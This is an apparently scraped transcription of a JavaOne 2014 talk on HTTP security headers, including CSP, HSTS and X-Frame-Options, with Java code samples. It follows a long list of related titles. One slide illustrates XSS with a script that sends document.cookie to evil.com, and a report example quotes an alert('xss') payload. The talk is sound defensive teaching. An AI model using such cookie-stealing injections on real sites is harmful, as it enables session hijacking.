Security starts in the head(er)



Similar documents
Real World Java Web Security

Sichere Webanwendungen mit Java

AppSec USA 2014 Denver, Colorado Security Header Injection Module (SHIM)

Recent Advances in Web Application Security

XSS PROTECTION CHEATSHEET FOR DEVELOPERS V1.0. Author of OWASP Xenotix XSS Exploit Framework opensecurity.in

Recent Web Security Technology. Lieven Desmet iminds-distrinet-ku Leuven 3th February 2015 B-CCENTRE closing workshop

Java-Web-Security Anti-Patterns

Web Application Security

Protecting Web Applications and Users

Java Web Security Antipatterns

Relax Everybody: HTML5 Is Securer Than You Think

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

A Tale of the Weaknesses of Current Client-Side XSS Filtering

Sidste chance for Early Bird! Tilmeld dig før d. 30. juni og spar DKK. Læs mere og tilmeld dig på

PST_WEBZINE_0X04. How to solve XSS and mix user's HTML/JavaScript code with your content with just one script

Tizen Web Runtime Update. Ming Jin Samsung Electronics

Secure development and the SDLC. Presented By Jerry

Hacking HTML5. No VirtualBox? VirtualBox (~4 gb needed) Apache + PHP Chrome + Firefox. unpack zeronights.zip

Next Generation Clickjacking

HTML5. Eoin Keary CTO BCC Risk Advisory.

APPLICATION SECURITY AND ITS IMPORTANCE

Department of Computing Imperial College London. BrowserAudit. A web application that tests the security of browser implementations

A Tale of the Weaknesses of Current Client-side XSS Filtering

Secure Coding in Node.js

Web Application Security

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

SUBJECT CODE : 4074 PERIODS/WEEK : 4 PERIODS/ SEMESTER : 72 CREDIT : 4 TIME SCHEDULE UNIT TOPIC PERIODS 1. INTERNET FUNDAMENTALS & HTML Test 1

Universal XSS via IE8s XSS Filters

Reining in the Web with Content Security Policy

Sichere Software- Entwicklung für Java Entwickler

Client-side Web Engineering From HTML to AJAX

Weird New Tricks for Browser Fingerprinting. yan ToorCon 2015

Attacks on Clients: Dynamic Content & XSS

TYPO3 Security. Jochen Weiland CertiFUNcation 2016

Criteria for web application security check. Version

Gateway Apps - Security Summary SECURITY SUMMARY

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Investigation Report Regarding Security Issues of Web Applications Using HTML5

The Past, Present and Future of XSS Defense Jim Manico. HITB 2011 Amsterdam

Cryptography for Software and Web Developers

Web Application and API Security The Latest Trends and Threats. 03/19/15 Sean Leach

Defending your Web Applications from Attack: Presenter: Damira Pon, UAlbany. NYS Forum Web & Accessibility Workgroup Talk. NYS Forum Training Room

Preparing for the Cross Site Request Forgery Defense

Web Tracking for You. Gregory Fleischer

The Image that called me

A Measurement Study of the Content Security Policy on Real-World Applications

Web Application Exploits

Carlos Muñoz Application Security Engineer WhiteHat

Abusing HTML5. DEF CON 19 Ming Chow Lecturer, Department of Computer Science TuCs University Medford, MA

Project 2: Web Security Pitfalls

Bypassing Internet Explorer s XSS Filter

Web Application Vulnerability Testing with Nessus

UI Redressing and Clickjacking. About click fraud and data theft

Pwning Intranets with HTML5

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Network Security Web Security

Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011

Web Application Security Assessment and Vulnerability Mitigation Tests

Computer Networks. Lecture 7: Application layer: FTP and HTTP. Marcin Bieńkowski. Institute of Computer Science University of Wrocław

Visualizing a Neo4j Graph Database with KeyLines

Web Same-Origin-Policy Exploration Lab

Web Application Security

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Adobe Systems Incorporated

Magento Security and Vulnerabilities. Roman Stepanov

PLAYER DEVELOPER GUIDE

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

Advanced XSS. Nicolas Golubovic

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Security Testing with Selenium

Performance Testing for Ajax Applications

elearning for Secure Application Development

Security Research Advisory SugarCRM Cross-Site Scripting Vulnerability

QualysGuard WAS. Getting Started Guide Version 3.3. March 21, 2014

10CS73:Web Programming

Security Basics - Lessons From a Paranoid. Stuart Larsen Yahoo! Paranoids - Pentest

Security features of ZK Framework

Thomas Röthlisberger IT Security Analyst

SSL BEST PRACTICES OVERVIEW

Open Technology Fund Mailvelope Firefox Extension

WEB APPLICATION SECURITY USING JSFLOW

Security Model for the Client-Side Web Application Environments

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

TIME SCHEDULE OBJECTIVES

New Security Features in Oracle E-Business Suite 12.2

NHS Education for Scotland Knowledge Services Design and Development Framework

Web-Application Security

Slide.Show Quick Start Guide

Table of Contents. Page ii

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Blackbox Reversing of XSS Filters

Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense

AJAX and JSON Lessons Learned. Jim Riecken, Senior Software Engineer, Blackboard Inc.

Web Application Worms & Browser Insecurity

BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS

Testing the OWASP Top 10 Security Issues

Are AJAX Applications Vulnerable to Hack Attacks?

Data Breaches and Web Servers: The Giant Sucking Sound

Transcription:

Security starts in the head(er) JavaOne 2014 Dominik Schadow bridgingit

Policies are independent of framework and language response.addheader(! "Policy name",! "Policy value"! );

User agent must understand and enforce every policy

Defense-in-depth: frontend only one line of defense

X-Content-Type-Options Cache-Control X-Frame-Options HTTP Strict Transport Security Content Security Policy

Drive-by downloads X-Content-Type-Options

Drive-by downloads in a nutshell <html>! <body bgcolor="#ff0000">! This page should not be rendered as HTML.! </body>! </html> response.setcontenttype("text/plain");

response.addheader(! "X-Content-Type-Options",! "nosniff"! );

X-Content-Type-Options browser support

Sensitive data stored on the client Cache-Control

response.addheader(! Requests/! Responses "Cache-Control",! "no-store, no-cache,! Files must-revalidate"! Check Expires ); response.adddateheader(! "Expires",! "-1"! );

Cache-Control browser support

Clickjacking and UI redressing attacks X-Frame-Options

Clickjacking (UI redressing) in a nutshell iframe div

response.addheader(! "X-Frame-Options",! "DENY"! ); "SAME-ORIGIN" "ALLOW-FROM [uri]

X-Frame-Options browser support ALLOW-FROM only supported by Firefox and Internet Explorer

OWASP ClickMe to scan for Clickjacking www.owasp.org/index.php/owasp_click_me_project

Demo

Missing protection of sensitive data HTTP Strict Transport Security (HSTS)

response.addheader(! "Strict-Transport-Security",! "max-age=31556926"! ); "max-age=31556926; includesubdomains"

The configured duration should never expire

HSTS stops insecure communication Requires HTTPS connection! No effect on HTTP connections All resources via HTTPS! Includes scripts, images, Valid certificate required! No self-signed certificates any more

Most headers are only used in the active response The HSTS guy

HTTP Strict Transport Security browser support

Cross-Site Scripting (XSS) Content Security Policy (CSP)

Cross-Site Scripting in a nutshell injects stores Attacker sends executes session id <script>! User var img = new Image();! img.src = "http://evil.com?" + document.cookie;! </script>

response.addheader(! "Content-Security-Policy",! "default-src 'self'"! );

XSS protection active after adding CSP header Blocks! inline scripts inline styles eval()

Content Security Policy directives default-src! object-src! script-src default if specific directive is not set Sources in object, embed or applet tags Script sources (includes XSLT) connect-src font-src frame-src img-src media-src style-src XMLHttpRequest, WebSocket, Font sources Sources embeddable as frames Image sources Video and audio sources CSS sources (does not include XSLT) www.w3.org/tr/csp

Content Security Policy source list * script-src * Wildcard 'self' script-src 'self' Same origin only (scheme, host, port) 'none' script-src 'none' Prevent loading any resource *.sample.com script-src scrips.samle.com Load from subdomain https: script-src https: Load any script from https: origin

response.addheader(! "Content-Security-Policy",! "default-src 'none';! script-src *.sample.com;! style-src sample.org"! );

response.addheader(! "Content-Security-Policy-Report-Only",! "default-src 'self'; report-uri CSPReporting"! );

Content Security Policy Report Only executes code {! "document-uri":"http://.../reporting.jsp?! name=%3cscript%3ealert(%27xss%27)%3c/script%3e",! "referrer":"http://localhost:8080/security-header/! index.jsp",! "blocked-uri":"self",! "violated-directive":"default-src http://localhost:8080",! "source-file":"http://.../reporting.jsp? name=%3cscript%3ealert(%27xss%27)%3c/script%3e",! "script-sample":"alert('xss')",! "line-number":10! }

Policy Content-Security- Content-Security- Policy-Report-Only {! "csp-report":{! }! }!

response.addheader(! "Content-Security-Policy",! "default-src 'none';! script-src 'self';! style-src 'self';! img-src 'self';! report-uri CSPReporting"! );

Use Caspr.io to analyze CSP violation reports

Content Security Policy browser support Partial support since IE 10

Content Security Policy Level 2 adds more directives frame-ancestors!! reflected-xss Allow resource frame embedding Obsoletes X-Frame-Options header (De-)activate user agent XSS heuristics Obsoletes X-XSS-Protection header child-src form-action plugin-types referrer sandbox Replaces frame-src Form targets to send data to Allowed plug-ins (their MIME type) Referrer URL exposed to others Load resource in restricted sandbox www.w3.org/tr/csp2

response.addheader(! "Content-Security-Policy",! "default-src 'self';! frame-ancestors 'none'"! );

Demo

Microsoft Internet Explorer XSS-Protection response.addheader(! "X-XSS-Protection",! "1; mode=block"! );

Implement all headers from the beginning

Create a single Servlet filter class for every header

Spring Security 3.2 adds most headers automatically X-Content-Type-Options! Cache-Control! X-Frame-Options! HTTP Strict Transport Security! X-XSS-Protection Java Config XML Config <http>! <headers />! <!--... -->! </http>

Make sure all headers are contained in the HTTP response addons.mozilla.org/en-us/firefox/addon/firebug

Better untick at first cyh.herokuapp.com/cyh

Chrome extension Recx to check internal web applications www.recx.co.uk/products/chromeplugin.php

Headers make some vulnerabilities harder to exploit Drive-by Downloads! Sensitive Data Exposure! Clickjacking! Insecure Communication! Cross-Site Scripting

Security starts in the header, but doesn t end there

BridgingIT GmbH Koenigstr. 42 70173 Stuttgart/ Germany dominik.schadow@bridging-it.de www.bridging-it.de Blog blog.dominikschadow.de Twitter @dschadow Demo Project security-header github.com/dschadow/javasecurity! HTTP Strict Transport Security tools.ietf.org/html/rfc6797! Page, Header & Cookie Security Analyser www.recx.co.uk/products/chromeplugin.php! Check Your Headers cyh.herokuapp.com/cyh! Caspr caspr.io! Browserscope www.browserscope.org/?category=security! Can I Use caniuse.com! OWASP Secure Headers Project www.owasp.org/index.php/ OWASP_Secure_Headers_Project! Pictures www.dreamstime.com